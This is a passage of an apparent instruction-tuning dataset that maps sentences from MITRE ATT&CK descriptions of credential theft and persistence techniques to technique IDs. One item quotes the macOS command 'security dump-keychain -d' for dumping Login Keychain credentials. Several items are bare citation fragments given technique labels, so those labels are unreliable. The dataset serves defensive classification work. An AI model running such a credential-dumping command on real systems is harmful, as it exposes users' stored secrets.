that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Outlook 2010 and later supports .ost file sizes up to 50GB, while earlier versions of Outlook support up to 20GB.(Citation: Outlook File Sizes) ### Response: T1114.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "IMAP accounts in Outlook 2013 (and earlier) and POP accounts use Outlook Data Files (.pst) as opposed to .ost, whereas IMAP accounts in Outlook 2016 (and later) use .ost files.", "output": "T1114.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: IMAP accounts in Outlook 2013 (and earlier) and POP accounts use Outlook Data Files (.pst) as opposed to .ost, whereas IMAP accounts in Outlook 2016 (and later) use .ost files. ### Response: T1114.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Both types of Outlook data files are typically stored in `C:\\Users\\<username>\\Documents\\Outlook Files` or `C:\\Users\\<username>\\AppData\\Local\\Microsoft\\Outlook`.(Citation: Microsoft Outlook Files)", "output": "T1114.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Both types of Outlook data files are typically stored in `C:\\Users\\<username>\\Documents\\Outlook Files` or `C:\\Users\\<username>\\AppData\\Local\\Microsoft\\Outlook`.(Citation: Microsoft Outlook Files) ### Response: T1114.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search for common password storage locations to obtain user credentials.", "output": "T1555", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search for common password storage locations to obtain user credentials. ### Response: T1555."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Passwords are stored in several places on a system, depending on the operating system or application holding the credentials.", "output": "T1555", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. ### Response: T1555."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are also specific applications and services that store passwords to make them easier for users to manage and maintain, such as password managers and cloud secrets vaults.", "output": "T1555", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are also specific applications and services that store passwords to make them easier for users to manage and maintain, such as password managers and cloud secrets vaults. ### Response: T1555."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once credentials are obtained, they can be used to perform lateral movement and access restricted information.", "output": "T1555", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once credentials are obtained, they can be used to perform lateral movement and access restricted information. ### Response: T1555."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may acquire credentials from Keychain.", "output": "T1555.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may acquire credentials from Keychain. ### Response: T1555.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Keychain (or Keychain Services) is the macOS credential management system that stores account names, passwords, private keys, certificates, sensitive application data, payment data, and secure notes.", "output": "T1555.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Keychain (or Keychain Services) is the macOS credential management system that stores account names, passwords, private keys, certificates, sensitive application data, payment data, and secure notes. ### Response: T1555.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are three types of Keychains: Login Keychain, System Keychain, and Local Items (iCloud) Keychain.", "output": "T1555.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are three types of Keychains: Login Keychain, System Keychain, and Local Items (iCloud) Keychain. ### Response: T1555.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The default Keychain is the Login Keychain, which stores user passwords and information.", "output": "T1555.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The default Keychain is the Login Keychain, which stores user passwords and information. ### Response: T1555.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The System Keychain stores items accessed by the operating system, such as items shared among users on a host.", "output": "T1555.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The System Keychain stores items accessed by the operating system, such as items shared among users on a host. ### Response: T1555.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Local Items (iCloud) Keychain is used for items synced with Apple\u2019s iCloud service.", "output": "T1555.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Local Items (iCloud) Keychain is used for items synced with Apple\u2019s iCloud service. ### Response: T1555.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Keychains can be viewed and edited through the Keychain Access application or using the command-line utility <code>security</code>.", "output": "T1555.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Keychains can be viewed and edited through the Keychain Access application or using the command-line utility <code>security</code>. ### Response: T1555.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Keychain files are located in <code>~/Library/Keychains/</code>, <code>/Library/Keychains/</code>, and <code>/Network/Library/Keychains/</code>.(Citation: Keychain Services Apple)(Citation: Keychain Decryption Passware)(Citation: OSX Keychain Schaumann)", "output": "T1555.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Keychain files are located in <code>~/Library/Keychains/</code>, <code>/Library/Keychains/</code>, and <code>/Network/Library/Keychains/</code>.(Citation: Keychain Services Apple)(Citation: Keychain Decryption Passware)(Citation: OSX Keychain Schaumann) ### Response: T1555.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather user credentials from Keychain storage/memory.", "output": "T1555.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather user credentials from Keychain storage/memory. ### Response: T1555.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, the command <code>security dump-keychain \u2013d</code> will dump all Login Keychain credentials from <code>~/Library/Keychains/login.keychain-db</code>.", "output": "T1555.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, the command <code>security dump-keychain \u2013d</code> will dump all Login Keychain credentials from <code>~/Library/Keychains/login.keychain-db</code>. ### Response: T1555.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also directly read Login Keychain credentials from the <code>~/Library/Keychains/login.keychain</code> file.", "output": "T1555.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also directly read Login Keychain credentials from the <code>~/Library/Keychains/login.keychain</code> file. ### Response: T1555.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Both methods require a password, where the default password for the Login Keychain is the current user\u2019s password to login to the macOS host.(Citation: External to DA, the OS X Way)(Citation: Empire Keychain Decrypt)", "output": "T1555.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Both methods require a password, where the default password for the Login Keychain is the current user\u2019s password to login to the macOS host.(Citation: External to DA, the OS X Way)(Citation: Empire Keychain Decrypt) ### Response: T1555.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may create or modify shortcuts that can execute a program during system boot or user login.", "output": "T1547.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may create or modify shortcuts that can execute a program during system boot or user login. ### Response: T1547.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Shortcuts or symbolic links are used to reference other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process.", "output": "T1547.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Shortcuts or symbolic links are used to reference other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process. ### Response: T1547.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse shortcuts in the startup folder to execute their tools and achieve persistence.(Citation: Shortcut for Persistence )", "output": "T1547.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse shortcuts in the startup folder to execute their tools and achieve persistence.(Citation: Shortcut for Persistence ) ### Response: T1547.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Although often used as payloads in an infection chain (e.g. [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)), adversaries may also create a new shortcut as a means of indirection, while also abusing [Masquerading](https://attack.mitre.org/techniques/T1036) to make the malicious shortcut appear as a legitimate program.", "output": "T1547.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Although often used as payloads in an infection chain (e.g. [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)), adversaries may also create a new shortcut as a means of indirection, while also abusing [Masquerading](https://attack.mitre.org/techniques/T1036) to make the malicious shortcut appear as a legitimate program. ### Response: T1547.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can also edit the target path or entirely replace an existing shortcut", "output": "T1547.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can also edit the target path or entirely replace an existing shortcut ### Response: T1547.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "so their malware will be executed instead of the intended legitimate program.", "output": "T1547.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: so their malware will be executed instead of the intended legitimate program. ### Response: T1547.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Shortcuts can also be abused to establish persistence by implementing other methods.", "output": "T1547.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Shortcuts can also be abused to establish persistence by implementing other methods. ### Response: T1547.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, LNK browser extensions may be modified (e.g. [Browser Extensions](https://attack.mitre.org/techniques/T1176)) to persistently launch malware.", "output": "T1547.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, LNK browser extensions may be modified (e.g. [Browser Extensions](https://attack.mitre.org/techniques/T1176)) to persistently launch malware. ### Response: T1547.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify the kernel to automatically execute programs on system boot.", "output": "T1547.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify the kernel to automatically execute programs on system boot. ### Response: T1547.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand.", "output": "T1547.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. ### Response: T1547.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "They extend the functionality of the kernel without the need to reboot the system.", "output": "T1547.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They extend the functionality of the kernel without the need to reboot the system. ### Response: T1547.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system.(Citation: Linux Kernel Programming)\u00a0\n\nWhen used maliciously, LKMs can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0).(Citation: Linux Kernel Module Programming Guide)\u00a0Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors, and enabling root access to non-privileged users.(Citation: iDefense Rootkit Overview)\n\nKernel extensions, also called kext, are used in macOS to load functionality onto a system similar to LKMs for Linux.", "output": "T1547.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system.(Citation: Linux Kernel Programming)\u00a0\n\nWhen used maliciously, LKMs can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0).(Citation: Linux Kernel Module Programming Guide)\u00a0Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors, and enabling root access to non-privileged users.(Citation: iDefense Rootkit Overview)\n\nKernel extensions, also called kext, are used in macOS to load functionality onto a system similar to LKMs for Linux. ### Response: T1547.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since the kernel is responsible for enforcing security and the kernel extensions run as apart of the kernel, kexts are not governed by macOS security policies.", "output": "T1547.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since the kernel is responsible for enforcing security and the kernel extensions run as apart of the kernel, kexts are not governed by macOS security policies. ### Response: T1547.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kexts are loaded and unloaded through <code>kextload</code> and <code>kextunload</code> commands.", "output": "T1547.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kexts are loaded and unloaded through <code>kextload</code> and <code>kextunload</code> commands. ### Response: T1547.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kexts need to be signed with a developer ID that is granted privileges by Apple allowing it to sign Kernel extensions.", "output": "T1547.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kexts need to be signed with a developer ID that is granted privileges by Apple allowing it to sign Kernel extensions. ### Response: T1547.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Developers without these privileges may still sign kexts but they will not load unless SIP is disabled.", "output": "T1547.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Developers without these privileges may still sign kexts but they will not load unless SIP is disabled. ### Response: T1547.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If SIP is enabled, the kext signature is verified before being added to the AuxKC.(Citation:", "output": "T1547.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If SIP is enabled, the kext signature is verified before being added to the AuxKC.(Citation: ### Response: T1547.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "System and kernel extensions in macOS)", "output": "T1547.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: System and kernel extensions in macOS) ### Response: T1547.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since macOS Catalina 10.15, kernel extensions have been deprecated in favor of System Extensions.", "output": "T1547.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since macOS Catalina 10.15, kernel extensions have been deprecated in favor of System Extensions. ### Response: T1547.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "However, kexts are still allowed as \"Legacy System Extensions\" since there is no System Extension for Kernel Programming Interfaces.(Citation:", "output": "T1547.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: However, kexts are still allowed as \"Legacy System Extensions\" since there is no System Extension for Kernel Programming Interfaces.(Citation: ### Response: T1547.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Apple Kernel Extension Deprecation)", "output": "T1547.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Apple Kernel Extension Deprecation) ### Response: T1547.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use LKMs and kexts to conduct [Persistence](https://attack.mitre.org/tactics/TA0003) and/or", "output": "T1547.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use LKMs and kexts to conduct [Persistence](https://attack.mitre.org/tactics/TA0003) and/or ### Response: T1547.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Privilege Escalation](https://attack.mitre.org/tactics/TA0004) on a system.", "output": "T1547.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) on a system. ### Response: T1547.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Examples have been found in the wild, and there are some relevant open source projects as well.(Citation: Volatility Phalanx2)(Citation:", "output": "T1547.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Examples have been found in the wild, and there are some relevant open source projects as well.(Citation: Volatility Phalanx2)(Citation: ### Response: T1547.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "CrowdStrike Linux Rootkit)(Citation:", "output": "T1547.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: CrowdStrike Linux Rootkit)(Citation: ### Response: T1547.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "GitHub Reptile)(Citation:", "output": "T1547.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: GitHub Reptile)(Citation: ### Response: T1547.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "GitHub Diamorphine)(Citation: RSAC 2015 San Francisco Patrick Wardle)(Citation: Synack Secure Kernel Extension Broken)(Citation: Securelist Ventir)(Citation: Trend Micro Skidmap)", "output": "T1547.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: GitHub Diamorphine)(Citation: RSAC 2015 San Francisco Patrick Wardle)(Citation: Synack Secure Kernel Extension Broken)(Citation: Securelist Ventir)(Citation: Trend Micro Skidmap) ### Response: T1547.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify plist files to automatically run an application when a user logs in.", "output": "T1547.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify plist files to automatically run an application when a user logs in. ### Response: T1547.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When a user logs out or restarts via the macOS Graphical User Interface (GUI), a prompt is provided to the user with a checkbox to \"Reopen windows when logging back in\".(Citation: Re-Open windows on Mac) When selected, all applications currently open are added to a property list file named <code>com.apple.loginwindow.[UUID].plist</code> within the <code>~/Library/Preferences/ByHost</code> directory.(Citation: Methods of Mac Malware Persistence)(Citation:", "output": "T1547.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When a user logs out or restarts via the macOS Graphical User Interface (GUI), a prompt is provided to the user with a checkbox to \"Reopen windows when logging back in\".(Citation: Re-Open windows on Mac) When selected, all applications currently open are added to a property list file named <code>com.apple.loginwindow.[UUID].plist</code> within the <code>~/Library/Preferences/ByHost</code> directory.(Citation: Methods of Mac Malware Persistence)(Citation: ### Response: T1547.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Wardle Persistence Chapter)", "output": "T1547.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Wardle Persistence Chapter) ### Response: T1547.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Applications listed in this file are automatically reopened upon the user\u2019s next logon.", "output": "T1547.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Applications listed in this file are automatically reopened upon the user\u2019s next logon. ### Response: T1547.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can establish [Persistence](https://attack.mitre.org/tactics/TA0003) by adding a malicious application path to the <code>com.apple.loginwindow.[UUID].plist</code> file to execute payloads when a user logs in.", "output": "T1547.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can establish [Persistence](https://attack.mitre.org/tactics/TA0003) by adding a malicious application path to the <code>com.apple.loginwindow.[UUID].plist</code> file to execute payloads when a user logs in. ### Response: T1547.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in.", "output": "T1547.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. ### Response: T1547.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete.", "output": "T1547.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. ### Response: T1547.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Registry entries in <code>HKLM\\Software[\\\\Wow6432Node\\\\]\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\</code> and <code>HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\</code> are used to manage additional helper programs and functionalities that support Winlogon.(Citation:", "output": "T1547.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Registry entries in <code>HKLM\\Software[\\\\Wow6432Node\\\\]\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\</code> and <code>HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\</code> are used to manage additional helper programs and functionalities that support Winlogon.(Citation: ### Response: T1547.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cylance Reg Persistence Sept 2013) \n\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables.", "output": "T1547.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cylance Reg Persistence Sept 2013) \n\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. ### Response: T1547.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)\n\n* Winlogon\\Notify - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell executed when a user logs on\n\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish persistence.", "output": "T1547.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)\n\n* Winlogon\\Notify - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell executed when a user logs on\n\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish persistence. ### Response: T1547.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse security support providers (SSPs) to execute DLLs when the system boots.", "output": "T1547.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse security support providers (SSPs) to execute DLLs when the system boots. ### Response: T1547.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Windows SSP DLLs are loaded into the Local Security Authority (LSA) process at system start.", "output": "T1547.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Windows SSP DLLs are loaded into the Local Security Authority (LSA) process at system start. ### Response: T1547.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs.", "output": "T1547.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. ### Response: T1547.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The SSP configuration is stored in two Registry keys: <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages</code> and <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages</code>.", "output": "T1547.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The SSP configuration is stored in two Registry keys: <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages</code> and <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages</code>. ### Response: T1547.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)", "output": "T1547.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014) ### Response: T1547.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key.", "output": "T1547.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. ### Response: T1547.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.(Citation: Microsoft Run Key)", "output": "T1547.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.(Citation: Microsoft Run Key) ### Response: T1547.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These programs will be executed under the context of the user and will have the account's associated permissions level.", "output": "T1547.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These programs will be executed under the context of the user and will have the account's associated permissions level. ### Response: T1547.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The following run keys are created by default on Windows systems:\n\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce</code>\n\nRun keys may exist under multiple hives.(Citation:", "output": "T1547.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The following run keys are created by default on Windows systems:\n\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code>\n* 